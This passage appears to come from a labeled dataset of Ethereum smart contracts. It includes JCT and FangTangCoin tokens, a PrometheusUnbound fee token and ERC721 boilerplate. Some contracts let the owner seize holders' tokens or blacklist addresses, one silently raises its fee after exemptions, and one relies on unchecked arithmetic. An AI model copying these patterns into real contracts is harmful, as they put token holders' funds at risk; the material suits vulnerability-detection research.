* @dev Allows the current distributor to transfer control of the contract to a newDistributor.
* @param newDistributor The address to transfer distributorship to.
*/
function transferDistributorship(address newDistributor) onlyOwner public {
require(isNonZeroAccount(newDistributor));
emit DistributorshipTransferred(distributor, newDistributor);
distributor = newDistributor;
}
/**
* @dev Allows the current freezer to transfer control of the contract to a newFreezer.
* @param newFreezer The address to transfer freezership to.
*/
function transferFreezership(address newFreezer) onlyOwner public {
require(isNonZeroAccount(newFreezer));
emit FreezershipTransferred(freezer, newFreezer);
freezer = newFreezer;
}
// check if the given account is valid
function isNonZeroAccount(address _addr) internal pure returns (bool is_nonzero_account) {
return _addr != address(0);
}
}
/**
* @title ERC20
* @dev ERC20 contract interface
*/
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title JCT
* @author Daisuke Hirata & Noriyuki Izawa
* @dev JCT is an ERC20 Token. First envisioned by NANJCOIN
*/
contract JCT is ERC20, Ownable {
using SafeMath for uint256;
string public name = "JCT";
string public symbol = "JCT";
uint8 public decimals = 8;
uint256 public totalSupply = 17e7 * 1e8;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
/**
* @dev Constructor is called only once and can not be called again
*/
constructor(address founder) public {
owner = founder;
collector = founder;
distributor = founder;
freezer = founder;
balanceOf[founder] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyFreezer public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(isNonZeroAccount(targets[j]));
frozenAccount[targets[j]] = isFrozen;
emit FrozenFunds(targets[j], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(hasSameArrayLength(targets, unixTimes));
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
emit LockedFunds(targets[j], unixTimes[j]);
}
}
/**
* @dev Standard function transfer with no _data
*/
function transfer(address _to, uint _value) public returns (bool success) {
require(hasEnoughBalance(msg.sender, _value)
&& isAvailableAccount(msg.sender)
&& isAvailableAccount(_to));
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(isNonZeroAccount(_to)
&& hasEnoughBalance(_from, _value)
&& allowance[_from][msg.sender] >= _value
&& isAvailableAccount(_from)
&& isAvailableAccount(_to));
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Allows _spender to spend no more than _value tokens in your behalf
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender
* @param _owner address The address which owns the funds
* @param _spender address The address which will spend the funds
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyCollector public returns (bool) {
require(hasSameArrayLength(addresses, amounts));
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& isNonZeroAccount(addresses[j])
&& isAvailableAccount(addresses[j]));
require(hasEnoughBalance(addresses[j], amounts[j]));
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
emit Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses
*/
function distributeTokens(address[] addresses, uint[] amounts) onlyDistributor public returns (bool) {
require(hasSameArrayLength(addresses, amounts)
&& isAvailableAccount(msg.sender));
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& isNonZeroAccount(addresses[j])
&& isAvailableAccount(addresses[j]));
totalAmount = totalAmount.add(amounts[j]);
}
require(hasEnoughBalance(msg.sender, totalAmount));
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
emit Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
// check if the given account is available
function isAvailableAccount(address _addr) private view returns (bool is_valid_account) {
return isUnLockedAccount(_addr) && isUnfrozenAccount(_addr);
}
// check if the given account is not locked up
function isUnLockedAccount(address _addr) private view returns (bool is_unlocked_account) {
return now > unlockUnixTime[_addr];
}
// check if the given account is not frozen
function isUnfrozenAccount(address _addr) private view returns (bool is_unfrozen_account) {
return frozenAccount[_addr] == false;
}
// check if the given account has enough balance more than given amount
function hasEnoughBalance(address _addr, uint256 _value) private view returns (bool has_enough_balance) {
return _value > 0 && balanceOf[_addr] >= _value;
}
// check if the given account is not frozen
function hasSameArrayLength(address[] addresses, uint[] amounts) private pure returns (bool has_same_array_length) {
return addresses.length > 0 && addresses.length == amounts.length;
}
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] |
pragma solidity ^0.4.21;
contract FangTangCoin {
string public name;
string public symbol;
uint256 public decimals;
uint256 public totalSupply;
address public creator;
bool public autoSend = false;
uint public start;
uint public end;
uint public rate;
uint public freeCount;
mapping (address => uint256) public balanceOf;
mapping (address => uint8) public buyCountOf;
event Transfer(address indexed from, address indexed to, uint256 value);
// buy token
function () public payable {
require(autoSend);
require(now >= start && now <= end);
uint256 weiAmount = msg.value;
uint256 tokens;
if (rate == 0)
tokens = freeCount*decimals;
else
tokens = (weiAmount/1000000000000000000)*rate;
require(tokens > 0);
// 不要自己提到自己账户
require(creator != msg.sender);
// 首先检查发token的账户是否拥有对应数量的代币
require(balanceOf[creator] >= tokens);
// 当 rate 为 0 时，检查是否已经领取过
if (rate == 0)
require(buyCountOf[msg.sender] < 1);
// 开始转移代币
uint previousBalances = balanceOf[msg.sender] + balanceOf[creator];
balanceOf[msg.sender] += tokens;
balanceOf[creator] -= tokens;
// 这个是事件
emit Transfer(creator,msg.sender, tokens);
assert(balanceOf[msg.sender] + balanceOf[creator] == previousBalances);
if (rate == 0)
buyCountOf[msg.sender] += 1;
}
function getETH() public {
require(address(this).balance > 0 && msg.sender == creator);
creator.transfer(address(this).balance);
}
function FangTangCoin(
uint256 initialSupply,
string tokenName,
string tokenSymbol,
uint8 tokenDecimals,
bool tokenAutoSend,
uint tokenStart,
uint tokenEnd,
uint tokenPrice,
uint tokenFreeCount
) public payable
{
name = tokenName;
symbol = tokenSymbol;
decimals = tokenDecimals;
creator = msg.sender;
totalSupply = initialSupply * ( 10 ** uint256(decimals) );
balanceOf[msg.sender] = totalSupply;
autoSend = tokenAutoSend;
start = tokenStart;
end = tokenEnd;
rate = tokenPrice;
freeCount = tokenFreeCount;
}
function transfer(address _to, uint256 _value) public {
// _value = _value * ( 10 ** uint256(decimals) );
require(_to != 0x0);
require(msg.sender != _to);
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[msg.sender] + balanceOf[_to];
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
// 这个是事件
emit Transfer(msg.sender, _to, _value);
assert(balanceOf[msg.sender] + balanceOf[_to] == previousBalances);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-07-30
*/
/*
https://t.me/prometheusunbounderc20
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PrometheusUnbound is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "PrometheusUnbound | t.me/prometheusunbounderc20";
string private constant _symbol = "UNBOUND";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-03
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
___
)_( _
| | [_ ]
.-'-'-. _ .-'. '-.
/-::_..-\ _[_]_ /:;/ _.-'\
)_ _( /_ _\ [-] |:._ .-|
|;:: | )_``'_( .-'-'-. (-) |:._ |
|;:: | |;: | :-...-: .-'-'-. |:._ |
|;:: | |;: | |;: | |-...-| |:._ |
|;::-.._| |;:.._| |;:.._| |;:.._| |:._ |
`-.._..-' `-...-' `-...-' `-...-' `-.____.-'
_________ _ _______ _ _________ _______ _______
\__ __/( ( /||\ /|( ____ \( ( /|\__ __/( ___ )( ____ )|\ /|
) ( | \ ( || ) ( || ( \/| \ ( | ) ( | ( ) || ( )|( \ / )
| | | \ | || | | || (__ | \ | | | | | | | || (____)| \ (_) /
| | | (\ \) |( ( ) )| __) | (\ \) | | | | | | || __) \ /
| | | | \ | \ \_/ / | ( | | \ | | | | | | || (\ ( ) (
___) (___| ) \ | \ / | (____/\| ) \ | | | | (___) || ) \ \__ | |
\_______/|/ )_) \_/ (_______/|/ )_) )_( (_______)|/ \__/ \_/
*/
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
